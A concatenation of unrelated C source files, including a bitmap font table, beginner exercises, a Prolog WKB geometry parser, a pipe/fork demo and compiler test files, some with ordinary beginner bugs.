0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 106 0x6a 'j' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x00, /* 00000000 */
0x0e, /* 00001110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
/* 107 0x6b 'k' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xe0, /* 11100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x66, /* 01100110 */
0x6c, /* 01101100 */
0x78, /* 01111000 */
0x78, /* 01111000 */
0x6c, /* 01101100 */
0x66, /* 01100110 */
0xe6, /* 11100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 108 0x6c 'l' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x38, /* 00111000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 109 0x6d 'm' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xec, /* 11101100 */
0xfe, /* 11111110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 110 0x6e 'n' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xdc, /* 11011100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 111 0x6f 'o' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 112 0x70 'p' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xdc, /* 11011100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x7c, /* 01111100 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0xf0, /* 11110000 */
0x00, /* 00000000 */
/* 113 0x71 'q' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x76, /* 01110110 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x7c, /* 01111100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x1e, /* 00011110 */
0x00, /* 00000000 */
/* 114 0x72 'r' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xdc, /* 11011100 */
0x76, /* 01110110 */
0x66, /* 01100110 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0xf0, /* 11110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 115 0x73 's' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0x60, /* 01100000 */
0x38, /* 00111000 */
0x0c, /* 00001100 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 116 0x74 't' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x10, /* 00010000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0xfc, /* 11111100 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x36, /* 00110110 */
0x1c, /* 00011100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 117 0x75 'u' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x76, /* 01110110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 118 0x76 'v' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x6c, /* 01101100 */
0x38, /* 00111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 119 0x77 'w' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xfe, /* 11111110 */
0x6c, /* 01101100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 120 0x78 'x' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0x6c, /* 01101100 */
0x38, /* 00111000 */
0x38, /* 00111000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 121 0x79 'y' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7e, /* 01111110 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0xf8, /* 11111000 */
0x00, /* 00000000 */
/* 122 0x7a 'z' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0xcc, /* 11001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 123 0x7b '{' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x0e, /* 00001110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x70, /* 01110000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x0e, /* 00001110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 124 0x7c '|' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 125 0x7d '}' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x70, /* 01110000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x0e, /* 00001110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x70, /* 01110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 126 0x7e '~' */
0x00, /* 00000000 */
0x76, /* 01110110 */
0xdc, /* 11011100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 127 0x7f '' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x10, /* 00010000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
};
//#endif
|
the_stack_data/150143783.c | void __EntryFunction__()
{
unk_0x4BFE89D21F9885DC();
}
|
the_stack_data/7949654.c |
#include <stdio.h>
#include <stdlib.h>
void scilab_rt_hess_i2_d2d2(int sin00, int sin01, int in0[sin00][sin01],
int sout00, int sout01, double out0[sout00][sout01],
int sout10, int sout11, double out1[sout10][sout11])
{
int i;
int j;
int val0 = 0;
for (i = 0; i < sin00; ++i) {
for (j = 0; j < sin01; ++j) {
val0 += in0[i][j];
}
}
for (i = 0; i < sout00; ++i) {
for (j = 0; j < sout01; ++j) {
out0[i][j] = val0;
}
}
for (i = 0; i < sout10; ++i) {
for (j = 0; j < sout11; ++j) {
out1[i][j] = val0;
}
}
}
|
the_stack_data/130718.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
float dis,amount;
printf("Input the distance the van has travelled:");
scanf("%f",&dis);
if(dis<=30){
amount=dis*50;
}else if(dis>30){
amount=(30*50)+(50-30)*40;
}
printf("Amount=%.1f",amount);
return 0;
}
|
the_stack_data/40762261.c | #if defined MYDDAS_MYSQL
#include <stdio.h>
#include <stdlib.h>
#include "Yap.h"
#include <netinet/in.h>
#include "myddas_wkb.h"
#include "myddas_wkb2prolog.h"
static void readswap4(uint32 *buf);
static void readswap8(double *buf);
static byte get_hostbyteorder(void);
static byte get_inbyteorder(void);
static uint32 get_wkbType(void);
static Term get_point(char *functor USES_REGS);
static Term get_linestring(char *functor);
static Term get_polygon(char *functor);
static Term get_geometry(uint32 type);
static int swaporder;
static byte inbyteorder, hostbyteorder;
static byte *cursor;
Term wkb2prolog(char *wkb) {
uint32 type;
cursor = wkb;
/*ignore the SRID 4 bytes*/
cursor += 4;
/*byteorder*/
hostbyteorder = get_hostbyteorder();
inbyteorder = get_inbyteorder();
swaporder = 0;
if ( hostbyteorder != inbyteorder )
swaporder = 1;
type = get_wkbType();
return get_geometry(type);
}
static byte get_hostbyteorder(void){
uint16_t host = 5;
uint16_t net;
net = htons(host);
if ( net == host )
return(WKBXDR);
else
return(WKBNDR);
}
static byte get_inbyteorder(void){
byte b = cursor[0];
if (b != WKBNDR && b != WKBXDR) {
fprintf(stderr, "Unknown byteorder: %d\n",b);
exit(0);
}
cursor++;
return(b);
}
static uint32 get_wkbType(void){
uint32 u;
/* read the type */
readswap4(&u);
if (u > WKBMAXTYPE || u < WKBMINTYPE) {
fprintf(stderr, "Unknown type: %d\n",u);
exit(0);
}
return(u);
}
static void readswap4(uint32 *buf){
((byte *) buf)[0] = cursor[0];
((byte *) buf)[1] = cursor[1];
((byte *) buf)[2] = cursor[2];
((byte *) buf)[3] = cursor[3];
if ( swaporder ) {
if ( inbyteorder == WKBXDR ) {
*buf = (uint32)ntohl((u_long)*buf);
} else {
byte u[4];
u[0] = ((byte *) buf)[3];
u[1] = ((byte *) buf)[2];
u[2] = ((byte *) buf)[1];
u[3] = ((byte *) buf)[0];
((byte *) buf)[0] = u[0];
((byte *) buf)[1] = u[1];
((byte *) buf)[2] = u[2];
((byte *) buf)[3] = u[3];
}
}
cursor += 4;
}
static void readswap8(double *buf) {
((byte *) buf)[0] = cursor[0];
((byte *) buf)[1] = cursor[1];
((byte *) buf)[2] = cursor[2];
((byte *) buf)[3] = cursor[3];
((byte *) buf)[4] = cursor[4];
((byte *) buf)[5] = cursor[5];
((byte *) buf)[6] = cursor[6];
((byte *) buf)[7] = cursor[7];
if ( swaporder ) {
if ( inbyteorder == WKBXDR ) {
u_long u[2];
u[0] = ((u_long *) buf)[0];
u[1] = ((u_long *) buf)[1];
((u_long *) buf)[1] = ntohl(u[0]);
((u_long *) buf)[0] = ntohl(u[1]);
} else {
byte u[8];
u[0] = ((byte *) buf)[7];
u[1] = ((byte *) buf)[6];
u[2] = ((byte *) buf)[5];
u[3] = ((byte *) buf)[4];
u[4] = ((byte *) buf)[3];
u[5] = ((byte *) buf)[2];
u[6] = ((byte *) buf)[1];
u[7] = ((byte *) buf)[0];
((byte *) buf)[0] = u[0];
((byte *) buf)[1] = u[1];
((byte *) buf)[2] = u[2];
((byte *) buf)[3] = u[3];
((byte *) buf)[4] = u[4];
((byte *) buf)[5] = u[5];
((byte *) buf)[6] = u[6];
((byte *) buf)[7] = u[7];
}
}
cursor += 8;
}
static Term get_point(char *func USES_REGS){
Term args[2];
Functor functor;
double d;
if(func == NULL)
/*functor "," => (_,_)*/
functor = Yap_MkFunctor(Yap_LookupAtom(","), 2);
else
functor = Yap_MkFunctor(Yap_LookupAtom(func), 2);
/* read the X */
readswap8(&d);
args[0] = MkFloatTerm(d);
/* read the Y */
readswap8(&d);
args[1] = MkFloatTerm(d);
return Yap_MkApplTerm(functor, 2, args);
}
static Term get_linestring(char *func){
CACHE_REGS
Term *c_list;
Term list;
Functor functor;
uint32 n;
int i;
/* read the number of vertices */
readswap4(&n);
/* space for arguments */
c_list = (Term *) calloc(sizeof(Term),n);
for ( i = 0; i < n; i++) {
c_list[i] = get_point(NULL PASS_REGS);
}
list = MkAtomTerm(Yap_LookupAtom("[]"));
for (i = n - 1; i >= 0; i--) {
list = MkPairTerm(c_list[i],list);
}
if(func == NULL)
return list;
else{
functor = Yap_MkFunctor(Yap_LookupAtom(func), 1);
return Yap_MkApplTerm(functor, 1, &list);
}
}
static Term get_polygon(char *func){
CACHE_REGS
uint32 r;
int i;
Functor functor;
Term *c_list;
Term list;
/* read the number of rings */
readswap4(&r);
/* space for rings */
c_list = (Term *) calloc(sizeof(Term),r);
for ( i = 0; i < r; i++ ) {
c_list[i] = get_linestring(NULL);
}
list = MkAtomTerm(Yap_LookupAtom("[]"));
for (i = r - 1; i >= 0; i--) {
list = MkPairTerm(c_list[i],list);
}
if(func == NULL)
return list;
else{
functor = Yap_MkFunctor(Yap_LookupAtom("polygon"), 1);
return Yap_MkApplTerm(functor, 1, &list);
}
}
static Term get_geometry(uint32 type){
CACHE_REGS
switch(type) {
case WKBPOINT:
return get_point("point" PASS_REGS);
case WKBLINESTRING:
return get_linestring("linestring");
case WKBPOLYGON:
return get_polygon("polygon");
case WKBMULTIPOINT:
{
uint32 n;
int i;
Functor functor;
Term *c_list;
Term list;
/* read the number of points */
readswap4(&n);
/* space for points */
c_list = (Term *) calloc(sizeof(Term),n);
for ( i = 0; i < n; i++ ) {
/* read (and ignore) the byteorder and type */
get_inbyteorder();
get_wkbType();
c_list[i] = get_point(NULL PASS_REGS);
}
list = MkAtomTerm(Yap_LookupAtom("[]"));
for (i = n - 1; i >= 0; i--) {
list = MkPairTerm(c_list[i],list);
}
functor = Yap_MkFunctor(Yap_LookupAtom("multipoint"), 1);
return Yap_MkApplTerm(functor, 1, &list);
}
case WKBMULTILINESTRING:
{
uint32 n;
int i;
Functor functor;
Term *c_list;
Term list;
/* read the number of polygons */
readswap4(&n);
/* space for polygons*/
c_list = (Term *) calloc(sizeof(Term),n);
for ( i = 0; i < n; i++ ) {
/* read (and ignore) the byteorder and type */
get_inbyteorder();
get_wkbType();
c_list[i] = get_linestring(NULL);
}
list = MkAtomTerm(Yap_LookupAtom("[]"));
for (i = n - 1; i >= 0; i--) {
list = MkPairTerm(c_list[i],list);
}
functor = Yap_MkFunctor(Yap_LookupAtom("multilinestring"), 1);
return Yap_MkApplTerm(functor, 1, &list);
}
case WKBMULTIPOLYGON:
{
uint32 n;
int i;
Functor functor;
Term *c_list;
Term list;
/* read the number of polygons */
readswap4(&n);
/* space for polygons*/
c_list = (Term *) calloc(sizeof(Term),n);
for ( i = 0; i < n; i++ ) {
/* read (and ignore) the byteorder and type */
get_inbyteorder();
get_wkbType();
c_list[i] = get_polygon(NULL);
}
list = MkAtomTerm(Yap_LookupAtom("[]"));
for (i = n - 1; i >= 0; i--) {
list = MkPairTerm(c_list[i],list);
}
functor = Yap_MkFunctor(Yap_LookupAtom("multipolygon"), 1);
return Yap_MkApplTerm(functor, 1, &list);
}
case WKBGEOMETRYCOLLECTION:
{
uint32 n;
int i;
Functor functor;
Term *c_list;
Term list;
/* read the number of geometries */
readswap4(&n);
/* space for geometries*/
c_list = (Term *) calloc(sizeof(Term),n);
for ( i = 0; i < n; i++ ) {
get_inbyteorder();
c_list[i] = get_geometry(get_wkbType());
}
list = MkAtomTerm(Yap_LookupAtom("[]"));
for (i = n - 1; i >= 0; i--) {
list = MkPairTerm(c_list[i],list);
}
functor = Yap_MkFunctor(Yap_LookupAtom("geometrycollection"), 1);
return Yap_MkApplTerm(functor, 1, &list);
}
}
return MkAtomTerm(Yap_LookupAtom("[]"));
}
#endif /*MYDDAS_MYSQL*/
|
the_stack_data/1206566.c | #include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#define MAX_VALUE 1000000
int main() {
int pipeA[2];
int pipeB[2];
int res;
if (pipe(pipeA) == -1) {
perror("pipe()");
exit(EXIT_FAILURE);
}
if (pipe(pipeB) == -1) {
perror("pipe()");
exit(EXIT_FAILURE);
}
int contatore = 0;
switch (fork()) {
case -1:
perror("problema con fork");
exit(EXIT_FAILURE);
case 0: // processo FIGLIO: legge dalla PIPE
close(pipeA[1]); // chiudiamo l'estremità di scrittura della pipeA
close(pipeB[0]); // chiudiamo l'estremità di lettura della pipeB
while(contatore < MAX_VALUE){
res = read(pipeA[0], &contatore, sizeof(contatore));
printf("[child] received %d from pipe\n", contatore);
if (res == -1) {
perror("read()");
}
contatore++;
res = write(pipeB[1], &contatore, sizeof(int));
if (res == -1) {
perror("write()");
}
}
printf("[child] ho raggiunto il valore massimo, ora termino\n");
close(pipeA[0]);
close(pipeB[1]);
exit(EXIT_SUCCESS);
default: // processo PADRE: scrive nella PIPE
printf("[parent] starting\n");
close(pipeA[0]); // chiudiamo l'estremità di lettura della pipeA
close(pipeB[1]); // chiudiamo l'estremità di scrittura della pipeB
res = write(pipeA[1], &contatore, sizeof(int));
if (res == -1) {
perror("write()");
}
printf("[parent] %d written to pipe\n", res);
while(contatore < MAX_VALUE){
res = read(pipeB[0], &contatore, sizeof(contatore));
printf("[parent] received %d from pipe\n", contatore);
if (res == -1) {
perror("read()");
}
contatore++;
res = write(pipeA[1], &contatore, sizeof(int));
if (res == -1) {
perror("write()");
}
}
printf("[parent] ho raggiunto il valore massimo, aspetto mio figlio\n");
wait(NULL);
printf("[parent] mio figlio ha finito, ora termino\n");
close(pipeA[1]);
close(pipeB[0]);
exit(EXIT_SUCCESS);
}
return 0;
}
|
the_stack_data/932575.c | #include <stdio.h>
int main()
{
int basic = 0, medical = 1500, working_days = 0, internet_bill = 1000, mobile_bill = 500, number_of_first_classes = 0, gross_salary;
printf("Enter basic salary: ");
scanf("%d", &basic);
printf("Enter number of 1st Classes (0 - 4): ");
scanf("%d", &number_of_first_classes);
printf("Enter number of Working Days: ");
scanf("%d", &working_days);
int increment = basic * 0.05;
int house_rent = basic * 0.6;
int lunch_allowance = working_days * 200;
if (number_of_first_classes > 0 && number_of_first_classes == 1)
{
gross_salary = basic + medical + internet_bill + mobile_bill + house_rent + lunch_allowance + increment;
printf("Gross Salary is %d\n", gross_salary);
}
else if (number_of_first_classes > 0 && number_of_first_classes == 2)
{
gross_salary = basic + medical + internet_bill + mobile_bill + house_rent + lunch_allowance + increment * 2;
printf("Gross Salary is %d\n", gross_salary);
}
else if (number_of_first_classes > 0 && number_of_first_classes == 3)
{
gross_salary = basic + medical + internet_bill + mobile_bill + house_rent + lunch_allowance + increment * 3;
printf("Gross Salary is %d\n", gross_salary);
}
else if (number_of_first_classes > 0 && number_of_first_classes == 4)
{
gross_salary = basic + medical + internet_bill + mobile_bill + house_rent + lunch_allowance + increment * 4;
printf("Gross Salary is %d\n", gross_salary);
}
else if (number_of_first_classes == 0)
{
gross_salary = basic + medical + internet_bill + mobile_bill + house_rent + lunch_allowance;
printf("Gross Salary is %d\n", gross_salary);
}
else
{
printf("Invalid Entry. Enter number between 0 - 4.");
}
return (0);
}
|
the_stack_data/31387297.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main()
{
int mark1;
int mark2;
float average;
printf("Enter the marks of subject 01 :");
scanf("%d", &mark1);
printf("Enter the marks of subject 02 :");
scanf("%d", &mark2);
average = (mark1 + mark2) / 2;
printf("Average of the two marks is %f", average);
return 0;
}
|
the_stack_data/61074869.c | #include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
int main()
{
long long int b, s, i;
i=0;
while (scanf("%lld %lld", &b, &s)==2)
{
i++;
if (b==0 && s==0)
break;
if (b==1)
printf ("Case %lld: :-\\\n", i);
else if (b<=s)
printf ("Case %lld: :-|\n", i);
else
printf ("Case %lld: :-(\n", i);
}
return 0;
}
|
the_stack_data/461085.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_itoa.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: erli <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/08 14:19:28 by erli #+# #+# */
/* Updated: 2018/12/12 14:16:22 by erli ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdlib.h>
#include <string.h>
static int max_power(long double nb, long double *pow, int precision)
{
int len;
len = 1;
if (nb < 0)
{
*pow = -1;
len++;
}
if (nb == -2147483648)
{
*pow *= 10;
len++;
}
while (nb / *pow >= 10)
{
*pow *= 10;
len++;
}
if (precision == 0)
return (len);
else
return (len + 1 + precision);
}
static void fill_decimals(long double nb, char *str, int i, int precision)
{
int pow;
if (precision != 0)
{
pow = (nb < 0 ? -10 : 10);
str[i] = '.';
i++;
nb = nb - (int)nb;
while (precision > 0)
{
str[i] = (int)(nb * pow) + 48;
nb = (10 * nb) - (pow / 10) * (int)(str[i] - 48);
i++;
precision--;
}
}
str[i] = '\0';
}
char *ft_ldtoa(long double nb, int precision)
{
long double pow;
int i;
int len;
char *str;
pow = 1;
i = 0;
len = max_power(nb, &pow, precision);
if (!(str = (char *)malloc(sizeof(char) * len + 1)))
return (NULL);
if (nb < 0)
{
str[0] = '-';
i++;
}
while (pow >= 1 || pow <= -1)
{
str[i] = (int)(nb / pow) + 48;
nb = (nb - (str[i] - 48) * pow);
pow /= 10;
i++;
}
fill_decimals(nb, str, i, precision);
return (str);
}
|
the_stack_data/248581712.c | #include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
int main() {
/* Enter your code here. Read input from STDIN. Print output to STDOUT */
float num, deno, try;
float def, prob;
scanf("%f %f", &num, &deno);
scanf("%f", &try);
def = num / deno;
prob = pow(1-def, (try-1))*def;
printf("%.3f", prob);
return 0;
} |
the_stack_data/153268265.c | int x;
int main () {
#pragma omp master
{
10;
}
#pragma omp master
{
int x;
}
}
|
the_stack_data/108112.c | #include <setjmp.h>
#include <stdio.h>
static jmp_buf buf;
void second(void) {
printf("second\n"); // prints
longjmp(
buf,
1); // jumps back to where setjmp was called - making setjmp now return 1
}
void first(void) {
second();
printf("first\n"); // does not print
}
int main() {
if (!setjmp(buf)) {
first(); // when executed, setjmp returns 0
} else { // when longjmp jumps back, setjmp returns 1
printf("main\n"); // prints
}
return 0;
}
|
the_stack_data/86075165.c | #include <stdlib.h>
extern void abort (void);
typedef signed short int16_t;
typedef unsigned short uint16_t;
int16_t logadd (int16_t *a, int16_t *b);
void ba_compute_psd (int16_t start);
int16_t masktab[6] = { 1, 2, 3, 4, 5};
int16_t psd[6] = { 50, 40, 30, 20, 10};
int16_t bndpsd[6] = { 1, 2, 3, 4, 5};
void ba_compute_psd (int16_t start)
{
int i,j,k;
int16_t lastbin = 4;
j = start;
k = masktab[start];
bndpsd[k] = psd[j];
j++;
for (i = j; i < lastbin; i++) {
bndpsd[k] = logadd(&bndpsd[k], &psd[j]);
j++;
}
}
int16_t logadd (int16_t *a, int16_t *b)
{
return *a + *b;
}
int main (void)
{
int i;
ba_compute_psd (0);
if (bndpsd[1] != 140) abort ();
return 0;
}
|
the_stack_data/145145.c | // RUN: %clang_cc1 -triple arm64_32-apple-ios7.0 -emit-llvm -o - %s | FileCheck %s
struct Foo {
char a;
int b : 1;
};
int BitfieldOffset = sizeof(struct Foo);
// CHECK: @BitfieldOffset ={{.*}} global i32 2
int PointerSize = sizeof(void *);
// CHECK: @PointerSize ={{.*}} global i32 4
int PointerAlign = __alignof(void *);
// CHECK: @PointerAlign ={{.*}} global i32 4
int LongSize = sizeof(long);
// CHECK: @LongSize ={{.*}} global i32 4
int LongAlign = __alignof(long);
// CHECK: @LongAlign ={{.*}} global i32 4
// Not expected to change, but it's a difference between AAPCS and DarwinPCS
// that we need to be preserved for compatibility with ARMv7k.
long double LongDoubleVar = 0.0;
// CHECK: @LongDoubleVar ={{.*}} global double
typedef float __attribute__((ext_vector_type(16))) v16f32;
v16f32 func(v16f32 in) { return in; }
// CHECK: define{{.*}} void @func(<16 x float>* noalias sret(<16 x float>) align 16 {{%.*}}, <16 x float> noundef {{%.*}})
|
the_stack_data/165769117.c | #include <stdio.h>
int main()
{
int c = 0, num, res, n, flag = 0, i;
while (c != 4)
{
printf("\n1. Factorial of a number\n2. Prime or not\n3. Odd or even\n4. Exit\n");
printf("\nEnter your choice -> ");
scanf("%d", &c);
switch (c)
{
//For factorial block
case 1:
printf("Enter an integer -> ");
scanf("%d", &num);
n = num;
res = num;
while (num > 1)
{
res = res * (num - 1);
num = num - 1;
}
printf("\nFactorial of %d is %d. \n\n", n, res);
break;
//For prime block
case 2:
printf("Enter an integer -> ");
scanf("%d", &num);
n = num;
for (i = 2; i <= n / 2; i++)
{
if (num % i == 0)
{
flag = 1;
break;
}
}
if (num == 1)
printf("\n1 is neither prime nor composite");
else
{
if (flag == 0)
printf("\n%d is Prime Number.\n\n", n);
else
printf("\n%d is not a Prime Number.\n\n", n);
}
break;
//For Odd-even block
case 3:
printf("Enter an integer -> ");
scanf("%d", &num);
n = num;
if (num % 2 == 0)
printf("\n%d is Even Number.\n\n", n);
else
printf("\n%d is Odd Number.\n\n", n);
break;
//For Exit block
case 4:
printf("\nExit");
break;
}
}
} |
the_stack_data/67324529.c | #include <stdio.h>
#include <stdlib.h>
void helloWorld(void){
printf("Hello World!\n");
}
|
the_stack_data/117329420.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
float x_12, _x_x_12;
bool _EL_U_854, _x__EL_U_854;
float x_11, _x_x_11;
float x_13, _x_x_13;
float x_0, _x_x_0;
float x_3, _x_x_3;
float x_8, _x_x_8;
float x_14, _x_x_14;
float x_15, _x_x_15;
float x_5, _x_x_5;
float x_4, _x_x_4;
float x_2, _x_x_2;
float x_9, _x_x_9;
float x_6, _x_x_6;
float x_7, _x_x_7;
float x_1, _x_x_1;
float x_10, _x_x_10;
int __steps_to_fair = __VERIFIER_nondet_int();
x_12 = __VERIFIER_nondet_float();
_EL_U_854 = __VERIFIER_nondet_bool();
x_11 = __VERIFIER_nondet_float();
x_13 = __VERIFIER_nondet_float();
x_0 = __VERIFIER_nondet_float();
x_3 = __VERIFIER_nondet_float();
x_8 = __VERIFIER_nondet_float();
x_14 = __VERIFIER_nondet_float();
x_15 = __VERIFIER_nondet_float();
x_5 = __VERIFIER_nondet_float();
x_4 = __VERIFIER_nondet_float();
x_2 = __VERIFIER_nondet_float();
x_9 = __VERIFIER_nondet_float();
